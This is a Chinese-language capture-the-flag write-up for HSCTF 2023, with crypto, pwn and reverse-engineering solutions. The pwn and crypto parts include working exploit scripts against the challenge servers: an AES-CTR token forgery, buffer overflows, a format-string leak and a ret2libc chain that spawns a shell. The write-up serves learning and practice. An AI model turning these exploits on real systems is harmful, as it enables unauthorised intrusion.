[hsctf 2023] crypto,pwn,rev部分

news2025/1/19 22:11:03

刚完了天津又来个衡水,这个大部分题比较简单,最后两天整了3个crypto有点意思.

crypto

double-trouble

给了密文

Hvwg gvcizr bch ps hcc vofr.
Wb toqh, W kwzz uwjs wh hc mci fwuvh bck!
Hvs tzou wg hvs tczzckwbu:
OmqemdOubtqdeMdqOaax
Vcksjsf, wh wg sbqcrsr gc mci vojs hc rsqcrs wh twfgh!
Pkovovovovo
Fsasapsf, hvs tzou tcfaoh wg tzou{}

看上去是词频,到quipquip解密得到

This should not be too hard. 
In fact, I will give it to you right now! 
The flag is the following: 
AyckypAgnfcpkYpcAmmx 
However, it is encoded so you have to decode it first! 
Bwahahahaha Remember, the flag format is flag{} 

猜flag这块是凯撒密码,最后还需要修正一下

CaemarCiphermAreCooz
修一下
flag{CaesarCiphersAreCool} 

really-small-algorithm

一个巨小的RSA

n = 4155782502547623093831518113976094054382827573251453061239
e = 65537
c = 2669292279100633236493181205299328973407167118230741040683

直接分解求密文

p,q = 63208845854086540220230493287,65746849928900354177936765297
d = inverse(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(m)
#flag{bigger_is_better}

cupcakes

有点像第1题,先是给了密钥,八成就是维亚尼亚密码了,直接用密钥解

You have to make 100 cupcakes for your upcoming end of year party and you only have 3 hours to do so after oversleeping the night before. However you are in luck because ShopRite just released their Magic Flour that makes any sort of batter immediately. In order to get the Magic Flour you have to solve a puzzle where you decode the message "avxmsvyusbyxj" using the key word SIFT. Time is ticking!

flag{instantbatter}

casino

有4个菜单,

  • 第1个是获得flag但需要money>1000000,
  • 第3个是载入token这里边AES可以解出money,
  • 第4个菜单是保存进度。

进度token是由AES_CTR方式加密,这种方式由 nonce+ctr计数器合并生成加密流,然后再把明文拿上去异或,只要 nonce相同就能得到相同的流。

#!/usr/bin/env python3
import readline
import os
import random
import json
from Crypto.Cipher import AES

FLAG = os.getenv("FLAG")
assert FLAG is not None
key_hex = os.getenv("KEY")
assert key_hex is not None
KEY = bytes.fromhex(key_hex)

money = 0.0
r = random.SystemRandom()

def flag():
	if money < 1000000000:
		print("Not enough money\n")
	else:
		print(FLAG + "\n")

def play():
	global money
	cont = True
	while cont:
		print("Enter bet")
		try:
			bet = int(input("> "))
		except ValueError:
			print("Invalid bet")
		else:
			if bet > 5 or bet < 0:
				print("Invalid bet")
			else:
				winnings = round(bet * r.uniform(-2, 2), 2)
				money += winnings
				print(f"You won {winnings:.2f} coins! You now have {money:.2f} coins\n")
				while True:
					print("""Choose an option:
1. Continue
2. Return to menu""")
					try:
						inp = int(input("> "))
					except ValueError:
						print("Invalid choice")
					else:
						if inp == 1:
							break
						elif inp == 2:
							cont = False
							break
						else:
							print("Invalid choice")

def load():
	global money
	print("Enter token:")
	try:
		nonce, ciphertext = map(bytes.fromhex, input("> ").split("."))
	except ValueError:
		print("Invalid token")
	else:
		cipher = AES.new(KEY, AES.MODE_CTR, nonce=nonce)
		plaintext = cipher.decrypt(ciphertext)
		print(plaintext)
		money = json.loads(plaintext)["money"]

def save():
	cipher = AES.new(KEY, AES.MODE_CTR)
	plaintext = json.dumps({"money": money}).encode("utf-8")
	ciphertext = cipher.encrypt(plaintext)
	print(f"Save token: {cipher.nonce.hex()}.{ciphertext.hex()}")

def main():
	try:
		while True:
			print(
				f"""You have {money:.2f} coins.
Choose an option:
1. Get flag
2. Play
3. Enter save token
4. Quit"""
			)
			try:
				inp = int(input("> "))
			except ValueError:
				print("Invalid choice")
			else:
				if inp == 1:
					flag()
				elif inp == 2:
					play()
				elif inp == 3:
					load()
				elif inp == 4:
					save()
					return
				else:
					print("Invalid choice")
	except (EOFError, KeyboardInterrupt):
		pass

if __name__ == "__main__":
	main()

思路:

先保存进度,这里money=0.0 然后对应位置用9e9异或将0.0改为900000000,然后上载进度就能获取flag 了

from pwn import *

context.log_level = 'debug'

p = remote('casino.hsctf.com', 1337)
p.sendlineafter(b"> ", b'4')
p.recvuntil(b'Save token: ')
nonce,c1 = p.recvuntil(b'\n', drop=True).split(b'.')
p.close()

print(nonce, c1)

c1 = bytes.fromhex(c1.decode())
m1 = b'{"money": 0.0}'
m2 = b'{"money": 9e9}'
c2 = xor(c1,m1,m2)

p = remote('casino.hsctf.com', 1337)
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", nonce+b'.'+c2.hex().encode())

p.sendlineafter(b"> ", b'1')
p.recvline()

p.interactive()
#flag{you're_ready_for_vegas_now}

spring

这是里边一个难题,很久才弄出来

给了java的加密文件和一堆数据

import java.io.File;
import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.file.Files;
import java.util.Random;
import java.util.Arrays;

class Main {
	public static void main(String[] args) throws IOException {
		// imagine not having an unsigned bytes type 🤡
		char[] flag = Files.readString(new File("flag.png").toPath(), Charset.forName("ISO-8859-1")).toCharArray();
		long[] out = new long[flag.length / 8];
		Random random = new Random();
		for (int i = 0; i < flag.length; i += 8) {
			long x = ((long) flag[i] << 56) +
					((long) flag[i + 1] << 48) +
					((long) flag[i + 2] << 40) +
					((long) flag[i + 3] << 32) +
					((long) flag[i + 4] << 24) +
					((long) flag[i + 5] << 16) +
					((long) flag[i + 6] << 8) +
					((long) flag[i + 7]);
			long r = random.nextLong();
			out[i / 8] = x ^ r;
		}
		Files.write(new File("out.txt").toPath(), Arrays.toString(out).getBytes());
	}
}
[7759420572346465994, -5396390562948218745, -5016321963313905888, -1117618389163622739, -3846959989767350954, -8278105930524162071, -2822937238430879242, 5588709472411029534, -6576227853120385146, 2803014856131381462, ......

加密方式每简单,用一个未置种子的random生成随机数与图片异或得到64位数输出到out.txt。

一开始以为和python一样去求种子,在网上搜出两种默认种子的的方式一种是 用的毫秒,一种是用的纳秒再通过一个运算得到,所以爆破了一下就放下了。显然都不对。后来搜到一个英文的文档有个方法,按这个方法搜到中文文档。

java.Util.random 加密使用类LCG的方式,使用48位种子,每次生成32位密码,所有得到两个连续的32位密文就能得到后边第3个密文。(这个随机数虽然种子很复杂但比python简单得多,所以也就危险得多)

另外一个坑点,生成的32位数是有符号数,题目用的是long,long型的生成方式为next()<<32 + next() 这里两个注意点:1是第1组int在前表示高位。第2是作为有符号数第2个加进来,前32位可能会有变化。所以无法把一个long分成两个int,只能用两个int还拼long

知道密码生成方式就简单了,因为png文件的头部是固定的,可以得到两组int通过这个生成全部的随机数,然后恢复图片得到flag

from Crypto.Util.number import * 
from Random import random
#第1个密文
a = bytes_to_long(b'\x89\x50\x4e\x47\x0d\x0a\x1a\x0a')
r = 7759420572346465994 

k = a^r 
print(k)
#16356706202519577792

a2 = bytes_to_long(b'\x00\x00\x00\x0dIHDR')
r2 = -5396390562948218745
k2 = a2^r2 
print(k2)
#-5396390619700804395

s = [815506624, 3808342433, 2608579797, 3038522194]
#转有符号数,和交换大小端顺序
s = [-486624863, 815506624, -1256445102, -1686387499]

 使用网上下载到的解密程序,通过头两块得到所有的随机数

# python3
# 5wimming
a = 0x5DEECE66D
b = 0xB
mask = (1 << 48) - 1


def n2p(x):
    y = -x
    y ^= 2 ** 32 - 1 # 取反
    y += 1
    return y


def find_seed(x1, x2):
    if x1 < 0:
        x1 = n2p(x1)

    if x2 < 0:
        x2 = n2p(x2)

    seed = x1 << 16
    for i in range(2 ** 16):
        if ((a * seed + b) & mask) >> 16 == x2:
            return seed
        seed += 1


def next_seed(seed, bits=16):
    x = seed >> bits
    if '{:032b}'.format(x).startswith('1'):
        x ^= 2 ** 32 - 1
        x += 1
        return -x
    return x


def next_seed_with_bound(seed, bound):
    r = next_seed(seed, bits=17)
    m = bound - 1
    if m & bound == 0:
        r = (bound * r) >> 31
    else:
        return "没用到,自己写"
    if '{:032b}'.format(r).startswith('1'):
        r ^= 2 ** 32 - 1
        r += 1
        return -r
    return r


s = [-486624863, 815506624, -1256445102, -1686387499]
x1,x2 = s[0],s[1]

seed = find_seed(x1, x2)
print('[-486624863,', end='')
for i in range(306222*2):
    seed = (a * seed + b) & mask
    print(str(next_seed(seed))+',', end='')

print('0]')

通过随机数恢复图片

from Crypto.Util.number import long_to_bytes 

v1 = eval(open('out.txt').read())
v2 = eval(open('out2.txt').read())
print(len(v1), len(v2))

fp = open('aaa.png', 'wb')
for i,r in enumerate(v1):
    t = (v2[i*2]<<32) + v2[i*2+1]
    dat = long_to_bytes((t^r)%(1<<64)).rjust(8, b'\x00')
    fp.write(dat)

fp.close()

trios

随机生成26组3字符的串,来代码26个字母

import random

chars = [chr(i) for i in range(48, 58)] + [chr(i) for i in range(65, 91)] + [chr(i) for i in range(97, 123)]
alphabet = []

while len(alphabet) < 26:
    run = True
    while run:
        string = ""
        for _ in range(3): string += chars[random.randint(0, len(chars) - 1)]
        if string in alphabet: pass
        else: run = False
    alphabet.append(string)

keyboard_chars = [chr(i) for i in range(97, 123)]

dic = {char: term for char, term in zip(keyboard_chars, alphabet)}

msg = "REDACTED"
encoded = ""

for word in msg:
    for letter in word:
        if letter.lower() in dic.keys():
            encoded += dic[letter.lower()]
        else: encoded += letter

print(encoded)

解决方法就是把遇到的每3个放到字典里,然后还原,最后再按词频恢复原文。

密文是这样的

8wnAPR2svyje{RbcAPRRbczwtwDE2svphjIqr}. uZbphjRbc 4mL2sv8rv IqruZb BRzuZbAPRzr1Rbc 2svphj RbcphjoZYQHJ8rvzwtIqrRbcHu0 InbRbcBRzBRz2svyjeRbc, tKO8wn 4mLRbc JEzphjuZb4mL tKOIqrBRz APR2svphjyje4zD2svyjeRbc, tKOBRz IqruZb 8wntKOphjHu0 2sv Hu0tKO8wn8wnRbcQHJRbcphjIqr zwtAPR2svtKOphjIqrRbcGawIqr uZb8wn IqrwDERbc BRz2svInbRbc APR2svphjyje4zD2svyjeRbc APRuZbphjyje RbcphjuZb4zDyjewDE IqruZb 8wntKOAPRAPR uZbphjRbc BRzwDERbcRbcIqr uZbQHJ BRzuZb, 2svphjHu0 IqrwDERbcphj 4mLRbc oZYuZb4zDphjIqr IqrwDERbc uZboZYoZY4zDQHJQHJRbcphjoZYRbcBRz uZb8wn Rbc2svoZYwDE APRRbcIqrIqrRbcQHJ. IqrBRz tKOAPRAPRRbcyje2svAPR IIqruZb uZbS4mLphj k7j4zDBRzIqr uZbphjRbc yje4zDtKOphjRbc2sv zwttKOyje tKOphj 4mLtKOIqr2stRbcQHJAPR2svphjHu0.

有个坑,有两个不是3的倍数的串,肉眼可见,应该是多了I和S,删掉后,用程序恢复

import string 

#data.txt 删除II的I, 最后一行S4m的S
msg = open('data.txt').read()
i=0
j=0
code = string.ascii_lowercase
chars = [chr(i) for i in range(48, 58)] + [chr(i) for i in range(65, 91)] + [chr(i) for i in range(97, 123)]
usd = []
out = ''
while i<len(msg):
    print(usd)
    if msg[i] in chars:
        if msg[i:i+3] not in usd:
            usd.append(msg[i:i+3])
        idx = usd.index(msg[i:i+3])
        out+=code[idx]
        i+=3
    else:
        out+=msg[i]
        i+=1

open('d2.txt','w').write(out)

#
#quipquip
#abcd=flag
'''
flag{elephant}. one way to solve an encrypted message, if we know its language, is to find a different plaintext of the same language long enough to fill one sheet or so, and then we count the occurrences of each letter. ts illegal to own just one guinea pig in witzerland.
'''

cosmic-ray

第2个难题。先看代码

p = ##########################################################
q = ##########################################################
n = p * q
m = ##########################################################
e = ##########################################################
d = ##########################################################

cache = []

def exp(a, b, n):
	if b == 0:
		return 1
	pwr = exp(a, b//2, n)
	pwr *= pwr
	if b & 1:
		pwr *= a
	pwr %= n
	cache.append(pwr)
	return pwr

def cosmic_ray():
    ##########################################################

def clear():
	for i in range(len(cache)):
		if cosmic_ray():
			continue
		cache[i] = 0

c = exp(m, e, n)
clear()

这个程序看着很简单,就是快速降幂法对m乘e次幂,函数每次会返回的结果放入cache中,最后将cache中的大部分置0,然后给出n,cache和c

n = 471794602312181068011601975537791353222470509157304225172118054851894222850510156945514492360273864411886365421734158872203071445682080353947715317468911391989193241590893667789460995360376512456430107837622910114992871899389148304762185977527005056570902340546791024234066680504170924452971514521601
cache = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 334823363824713665077070202012026189923379293024123400788079277410774197047658071653971004436304522266736098331382932182667556494290213766301841109369135445876975343696462435549896884832268918971958940247856038703516590983905465795054223071712800975024487595858748717534729668238007443295659690048965, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 161871115501970062534351795345828929371256682904562729930683298498471934529621287918421582081293144569781197640007409867100986869101025553277338171413324126180647815592159530685007983731537469593377648707222034769451336325256873454740359493423577485057616201643076623733112144282219709887572771424512, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 214752981241525483427501847311211589338821085671679575325942009086498262574435168520944556441511092304953777222454487640261006031689326454217335175848774919958263917183188119113591498659190095106441103543669566526185494374893306757374021054062896500991553480291015417385136373315591170793843464740988, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 343190004788499437607845898284239695113462670688664914367031457496526965266002656031194988783696950107365971573480119334073126431699832428382021510495753660712879273504276822902473320337174071411539017073199488942856737279581115287981594879580122312473677881860716877392288947947120580533022832366626, 0, 0, 0, 0, 0, 0, 0]
c = 297444805157923579595492659756994763982280962834662933228783834277026667796039103340058990582217798282434798699551705567584809248118471599628162646936955352212054484238384955355256944438218079458834836612366173168573544605559990276904501543490924665506484704110848942208163629878854963232105440104720

这里边c就是cache里的最后一个0的位置。

猜测两个已知部分应该是这个关系:c1^{2^{l}} * m^{k} = c2,其中l是两个已知数间隔的距离是一个小于2^l的数。

自己用个小点的数理一下

m = 7 
n = 187 #11*17 
e = 39 #100111 
cache = []
c = exp(m, e, n)
cache = [7, 49, 157, 129, 173, 63]
#        1   0    0    1    1   1
#       m^1 m^2  m^4  m^9  m^19 m^39
#            ^------------------^   49^16 * 7^7 
c = 173

这里49和63相差4格l==4,e=7(这是真实的e二进制的一部分) 

这里第1个已知和第2个差13,最后一个和c差7这两个数比较小加到一起才20位,可以爆破。然后用共模攻击求解。

cs = {}
for i in range(len(cache)):
    if cache[i] != 0:
        cs[i]=cache[i]

#print(cs)
#cs = {33: 334823363824713665077070202012026189923379293024123400788079277410774197047658071653971004436304522266736098331382932182667556494290213766301841109369135445876975343696462435549896884832268918971958940247856038703516590983905465795054223071712800975024487595858748717534729668238007443295659690048965, 46: 161871115501970062534351795345828929371256682904562729930683298498471934529621287918421582081293144569781197640007409867100986869101025553277338171413324126180647815592159530685007983731537469593377648707222034769451336325256873454740359493423577485057616201643076623733112144282219709887572771424512, 60: 214752981241525483427501847311211589338821085671679575325942009086498262574435168520944556441511092304953777222454487640261006031689326454217335175848774919958263917183188119113591498659190095106441103543669566526185494374893306757374021054062896500991553480291015417385136373315591170793843464740988, 93: 343190004788499437607845898284239695113462670688664914367031457496526965266002656031194988783696950107365971573480119334073126431699832428382021510495753660712879273504276822902473320337174071411539017073199488942856737279581115287981594879580122312473677881860716877392288947947120580533022832366626}

from gmpy2 import gcdext 
from Crypto.Util.number import long_to_bytes

def eeccn(e1,e2,c1,c2,n):
    g, x1, x2 = gcdext(e1,e2)
    return pow(c1,x1,n)*pow(c2,x2,n) % n

c1 = pow(cs[93], -(2**7), n)*c %n 
c2 = pow(cs[33], -(2**13), n)*cs[46] %n 
for e1 in range(2,2**7):
    for e2 in range(1,2**13):
        m = eeccn(e1,e2,c1,c2,n)
        flag = long_to_bytes(m)
        if flag.startswith(b'flag'):
            print(flag)
            break 
#flag{y0u_4r3_4_d3t3ct1v3_7882fa}            

order

给了一个简单的加密,得到结果是1

M = 48743250780330593211374612602058842282787459461925115700941964201240170956193881047849685630951233309564529903

def new_hash(n):
    return n % M

def bytes_to_long(x):
    return int.from_bytes(x, byteorder="big")


flag = open('flag.txt').read()
flag = bytes_to_long(bytes(flag, 'utf-8'))

sus = 11424424906182351530856980674107667758506424583604060548655709094382747184198
a = 19733537947376700017757804691557528800304268370434291400619888989843205833854285488738413657523737062550107458

t = new_hash(pow(flag, -1, M) * a)
exp = new_hash(sus ** t)
thonk = new_hash(sus * exp)

print(thonk)
# Prints 1

这里显然有个问题,密文是1,则肯定是多解,只是用什么方式在多个解中找到正确的flag,别人给了个结果,自己瞎理解一下:

#M可分解, sus^(x-1) = 1 mod M => x是phi的因子

 所以用前两天才学的求因子函数,直接爆破

#将M分解出因子 3853^29 * 500891
phi = 3853**28 * 3852 * 500890 
divs = divisors(phi)  #求所有因子(所有因子不仅素因子)
for x in divs:   
    t = x-1
    exp = pow(sus,t,M)
    thonk = sus*exp%M
    if thonk == 1:
        m = long_to_bytes(inverse_mod(t*inverse_mod(a,M),M))
        if m.startswith(b"flag{"):
            print(m)
            break 

pwn

ed

4个pwn题都非常容易,可以国外对pwn不是很重视

给了原码,有后门,直接溢出到后门

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int flag() {
	puts(getenv("FLAG"));
}

int main(int argc, char** argv) {
	char input[24];
	char filename[24] = "\0";
	char buffer[64];
	FILE* f = NULL;
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	if (argc > 1) {
		strncpy(filename, argv[1], 23);
	}
	while (1) {
		fgets(input, 64, stdin);
		input[strcspn(input, "\n")] = 0;
		if (input[0] == 'Q') {
			return 0;
		} else if (input[0] == 'f') {
			if (strlen(input) >= 3) {
				strcpy(filename, input + 2);
			}

			if (filename[0] == '\0') {
				puts("?");
			} else {
				puts(filename);
			}
		} else if (input[0] == 'l') {
			if (filename[0] == '\0') {
				puts("?");
			} else {
				if (strchr(filename, '/') != NULL) {
					puts("?");
					continue;
				}

				f = fopen(filename, "r");
				if (f == NULL) {
					puts("?");
					continue;
				}

				while (fgets(buffer, 64, f)) {
					printf("%s", buffer);
				}
				fclose(f);
			}
		} else {
			puts("?");
		}
	}
}
from pwn import *

p = remote('ed.hsctf.com', 1337)
context.log_level = 'debug'

p.sendline(b'Q'*0x20 + p64(0) + p64(0x4011d2))
p.recvline()

p.interactive()

doubler

这是个绕过的题

#include <stdio.h>
#include <stdlib.h>

int main() {
	char flag[32];
	FILE* f = fopen("flag.txt", "r");
	if (f == NULL) {
		puts("flag.txt not found");
		return 1;
	}
	fgets(flag, 32, f);
	fclose(f);

	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	printf("Input: ");
	char buffer[16];
	fgets(buffer, 16, stdin);
	int val = atoi(buffer);
	if (val < 0) {
		puts("Error: no negative numbers allowed!");
		return 1;
	}
	int doubled = 2 * val;
	printf("Doubled: %i\n", doubled);
	if (doubled == -100) {
		puts(flag);
	}
}

这里需要输入一个正数,乘2后得-100即可。由于最高位是符号位只需要得到个1000... 64就行

┌──(kali㉿kali)-[~/ctf/tmp/4]
└─$ nc doubler.hsctf.com 1337
Input: 2147483598
Doubled: -100
flag{double_or_nothing_406c561}

cat

程序先把flag载入内存,然后有格式化字符串漏洞,只要找对偏移找出来就行

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);

	char flag[19];
	FILE* f = fopen("flag.txt", "r");
	if (f == NULL) {
		puts("flag.txt not found");
		return 1;
	}
	fgets(flag, 19, f);
	fclose(f);

	char buffer[16];
	while (1) {
		fgets(buffer, 16, stdin);
		printf(buffer);
	}
}
┌──(kali㉿kali)-[~/ctf/tmp/3]
└─$ nc cat.hsctf.com 1337
%10$x
616c6603
%11$x
61637b67
%12$x
675f7374
%13$x
656d5f6f
%14$x
7d776f

>>> bytes.fromhex('61637b67')[::-1]
b'g{ca'
>>> bytes.fromhex('675f7374')[::-1]
b'ts_g'
>>> bytes.fromhex('656d5f6f')[::-1]
b'o_me'
>>> bytes.fromhex('7d776f')[::-1]
b'ow}'

flag{cats_go_meow}

ex

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv) {
	char input[24];
	char filename[24] = "\0";
	char buffer[128];
	FILE* f = NULL;
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	if (argc > 1) {
		strncpy(filename, argv[1], 23);
	}
	while (1) {
		fgets(input, 128, stdin);
		input[strcspn(input, "\n")] = 0;
		if (input[0] == 'Q') {
			return 0;
		} else if (input[0] == 'f') {
			if (strlen(input) >= 3) {
				strcpy(filename, input + 2);
			}

			if (filename[0] == '\0') {
				puts("?");
			} else {
				puts(filename);
			}
		} else if (input[0] == 'l') {
			if (filename[0] == '\0') {
				puts("?");
			} else {
				if (strchr(filename, '/') != NULL) {
					puts("?");
					continue;
				}

				f = fopen(filename, "r");
				if (f == NULL) {
					puts("?");
					continue;
				}

				while (fgets(buffer, 128, f)) {
					printf("%s", buffer);
				}
				fclose(f);
			}
		} else {
			puts("?");
		}
	}
}

直接有溢出就好办了

from pwn import *

#p = process('./ex')
p = remote('ex.hsctf.com', 1337)
context(arch='amd64', log_level='debug')

elf = ELF('./ex')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
pop_rdi = 0x00000000004014f3 # pop rdi ; ret

pay = b'Q'*0x20 + flat(0, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main'])
p.sendline(pay)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']

pay = b'Q'*0x20 + flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
p.sendline(pay)

p.interactive()

 

REV

back-to-basics

给了原码,就是个排序问题,手工也行,excel也行

import java.util.Scanner;

class ReverseEngineeringChallenge {
    public static void main(String args[]) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter password: ");
        String userInput = scanner.next();
        if (checkPassword(userInput)) {
            System.out.println("Access granted.");
        } else {
            System.out.println("Access denied!");
        }
    }

    public static boolean checkPassword(String password) {
        return password.length() == 20 &&
                password.charAt(0) == 'f' &&
                password.charAt(11) == '_' &&
                password.charAt(1) == 'l' &&
                password.charAt(6) == '0' &&
                password.charAt(3) == 'g' &&
                password.charAt(8) == '1' &&
                password.charAt(4) == '{' &&
                password.charAt(9) == 'n' &&
                password.charAt(7) == 'd' &&
                password.charAt(10) == 'g' &&
                password.charAt(2) == 'a' &&
                password.charAt(12) == 'i' &&
                password.charAt(5) == 'c' &&
                password.charAt(17) == 'r' &&
                password.charAt(14) == '_' &&
                password.charAt(18) == 'd' &&
                password.charAt(16) == '4' &&
                password.charAt(19) == '}' &&
                password.charAt(15) == 'h' &&
                password.charAt(13) == '5';
    }
}

#flag{c0d1ng_i5_h4rd}

brain-hurt

python的原码

import sys

def validate_flag(flag):
    encoded_flag = encode_flag(flag)
    expected_flag = 'ZT_YE\\0|akaY.LaLx0,aQR{"C'
    if encoded_flag == expected_flag:
        return True
    else:
        return False

def encode_flag(flag):
    encoded_flag = ""
    for c in flag:
        encoded_char = chr((ord(c) ^ 0xFF) % 95 + 32)
        encoded_flag += encoded_char
    return encoded_flag

def main():
    if len(sys.argv) != 2:
        print("Usage: python main.py <flag>")
        sys.exit(1)
    input_flag = sys.argv[1]
    if validate_flag(input_flag):
        print("Correct flag!")
    else:
        print("Incorrect flag.")

if __name__ == "__main__":
    main()

 密文和算法都有,而且是逐字符加密,可以直接爆破

a = b'ZT_YE\\0|akaY.LaLx0,aQR{"C'
for i in range(len(a)):
    for j in range(0x21,0x7f):
        if (j^0xff)%95+32 == a[i]:
            print(chr(j), end='')
            break 
#flag{d1D_U_g3t_tH15_onE?}

mystery-methods

不管多简单java写出来就巨复杂

import java.util.Base64;
import java.util.Scanner;

public class mysteryMethods{
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Flag: ");
        String userInput = scanner.nextLine();
        String encryptedInput = encryptInput(userInput);

        if (checkFlag(encryptedInput)) {
            System.out.println("Correct flag! Congratulations!");
        } else {
            System.out.println("Incorrect flag! Please try again.");
        }
    }

    public static String encryptInput(String input) {
        String flag = input;
        flag = unknown2(flag, 345345345);
        flag = unknown1(flag);
        flag = unknown2(flag, 00000);
        flag = unknown(flag, 25);
        return flag;
    }

    public static boolean checkFlag(String encryptedInput) {
        return encryptedInput.equals("OS1QYj9VaEolaDgTSTXxSWj5Uj5JNVwRUT4vX290L1ondF1z");
    }

    public static String unknown(String input, int something) {
        StringBuilder result = new StringBuilder();
        for (char c : input.toCharArray()) {
            if (Character.isLetter(c)) {
                char base = Character.isUpperCase(c) ? 'A' : 'a';
                int offset = (c - base + something) % 26;
                if (offset < 0) {
                    offset += 26;
                }
                c = (char) (base + offset);
            }
            result.append(c);
        }
        return result.toString();
    }

    public static String unknown1(String xyz) {
        return new StringBuilder(xyz).reverse().toString();
    }

    public static String unknown2(String xyz, int integer) {
        return Base64.getEncoder().encodeToString(xyz.getBytes());
    }
}

其实就是凯撒然后base64

a = b"OS1QYj9VaEolaDgTSTXxSWj5Uj5JNVwRUT4vX290L1ondF1z"

#大小写-25
b = []
for c in a:
    if ord('A')<=c<=ord('Z'):
        b.append(ord('A')+(c-ord('A') -25)%26)
    elif ord('a')<=c<=ord('z'):
        b.append(ord('a')+(c-ord('a') -25)%26)
    else:
        b.append(c)

from base64 import * 

c = b64decode(bytes(b))[::-1]
d = b64decode(c)
#flag{hsCTF_I5_r3aLLy_fUN}

keygen

revrevrev

这个是个思考题,跟代码无关

ins = ""
while len(ins) != 20:
  ins = input("input a string of size 20: ")

s = 0
a = 0
x = 0
y = 0
for c in ins:
  if c == 'r': # rev
    s += 1
  elif c == 'L': # left
    a = (a + 1) % 4
  elif c == 'R': # right
    a = (a + 3) % 4
  else:
    print("this character is not necessary for the solution.")
  if a == 0:
    x += s
  elif a == 1:
    y += s
  elif a == 2:
    x -= s
  elif a == 3:
    y -= s

print((x, y))
if x == 168 and y == 32:
  print("flag{" + ins + "}")
else:
  print("incorrect sadly")

输入r会使s+1  输入L会转到给y加再输入R会转回来加x,由于只有20次操作,数字加1的话最多就是20,再思谋y,转回x用去两次最大是18,发现还是完不成和是200,y=32,改用两次转出和返回,这样最大s=16而可能得200的情况只能是最后4个16,其它都会小于200,这种情况恰好y等于32

#flag{rrrrrrrrrrrrrrrrLRLR}

micrurus-fulvius

给了一个pyc文件,用uncomply6转出py代码

# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.10 (tags/v3.8.10:3d8993a, May  3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: chall.py
# Compiled at: 2023-06-02 05:33:44
# Size of source mod 2**32: 644 bytes
from hashlib import sha256 as k

def a(n):
    b = 0
    while n != 1:
        if n & 1:
            n *= 3
            n += 1
        else:
            n //= 2
        b += 1

    return b


def d(u, p):
    return (u << p % 5) - 158


def j(q, w):
    return ord(q) * 115 + ord(w) * 21


def t():
    x = input()
    l = [-153, 462, 438, 1230, 1062, -24, -210, 54, 2694, 1254, 69, -162, 210, 150]
    m = 'b4f9d505'
    if len(x) - 1 != len(l):
        return False
    for i, c in enumerate(zip(x, x[1:])):
        if d(a(j(*c) - 10), i) * 3 != l[i]:
            return False
        if k(x.encode()).hexdigest()[:8] != m:
            return False
        return True


def g():
    if t():
        print('Correct')
    else:
        print('Wrong')


if __name__ == '__main__':
    g()
# okay decompiling micrurus-fulvius.pyc

发现加密方式是用两个字符加密,比如0,1得到0,1,2得到1这个都有关联,这个分枝不会太大,直接递归爆破。

from hashlib import sha256 as k

def a(n):
    b = 0
    while n != 1:
        if n & 1:
            n *= 3
            n += 1
        else:
            n //= 2
        b += 1
    return b

def j(q, w):
    return q * 115 + w * 21

def rd(u, p):
    return ((u+158) >> p % 5)

m = 'b4f9d505'
l = [-153, 462, 438, 1230, 1062, -24, -210, 54, 2694, 1254, 69, -162, 210, 150]
l2 = [v//3 for v in l]
l3 = [ rd(v,i) for i,v in enumerate(l2)]


def get_v(head, idx):
    if idx>=len(l3):
        if k(head).hexdigest()[:8] == m:
            print('ok:',head)
        return 
        
    i1 = head[-1]
    for i2 in range(0x20, 0x7f):
        if a(j(i1,i2) - 10) == l3[idx]:
            #print(chr(i1)+chr(i2))
            get_v(head+bytes([i2]), idx+1)

get_v(b'fl', 1)
#flag{380822974}

剩下最后两个看不懂

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/625742.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

刷脸登录(人工智能)

刷脸登录 理解刷脸登录的需求 理解刷脸登录的开发流程实现刷脸登录功能 浅谈人工智能 人工智能的概述 人工智能&#xff08;Artificial Intelligence&#xff09;&#xff0c;英文缩写为AI。它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门…

chatgpt赋能python:Python怎么下pip:简单又方便的工具

Python怎么下pip&#xff1a;简单又方便的工具 Python 是一门广泛应用的高级编程语言&#xff0c;它设计的初衷是让程序员更加愉悦地编写代码&#xff0c;同时提供了多种强大的库和框架。其中&#xff0c;pip 是最为常见的第三方包管理工具&#xff0c;本文将为你介绍如何下载…

uniapp实现主题切换功能实现第一种方式(scss变量+vuex)

随着用户端体验的不断提升&#xff0c;很多应用在上线的时候都要求做不同的主题&#xff0c;最基本的就是白天与夜间主题。 就像b站app主题切换&#xff0c;像这样的 uniapp因为能轻松实现多端发布而得到很多开发者的青睐&#xff0c;但每个端的实现也有可能不同&#xff0c;现…

NLP学习笔记四-word embeding

